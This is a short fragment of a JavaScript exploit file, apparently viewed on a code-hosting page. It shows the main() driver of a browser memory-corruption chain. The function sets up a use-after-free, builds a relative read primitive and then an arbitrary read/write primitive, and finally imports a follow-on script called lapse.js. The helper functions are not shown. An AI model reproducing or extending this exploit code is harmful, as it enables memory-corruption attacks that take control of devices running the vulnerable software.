()
| 787 | } |
| 788 | |
| 789 | async function main() { |
| 790 | log('STAGE: UAF SSV'); |
| 791 | const [fsets, indices] = prepare_uaf(); |
| 792 | const view = await uaf_ssv_with_retry(fsets, indices[1]); |
| 793 | |
| 794 | log('STAGE: get string relative read primitive'); |
| 795 | const rdr = await make_rdr(view); |
| 796 | const [view2, pop] = await uaf_ssv_with_retry(fsets, indices[0], true); |
| 797 | |
| 798 | for (const fset of fsets) { |
| 799 | fset.rows = ''; |
| 800 | fset.cols = ''; |
| 801 | } |
| 802 | |
| 803 | log('STAGE: achieve arbitrary read/write primitive'); |
| 804 | await make_arw(rdr, view2, pop); |
| 805 | |
| 806 | clear_log(); |
| 807 | // path to your script that will use the exploit |
| 808 | import('./lapse.js'); |
| 809 | } |
| 810 | main(); |
no test coverage detected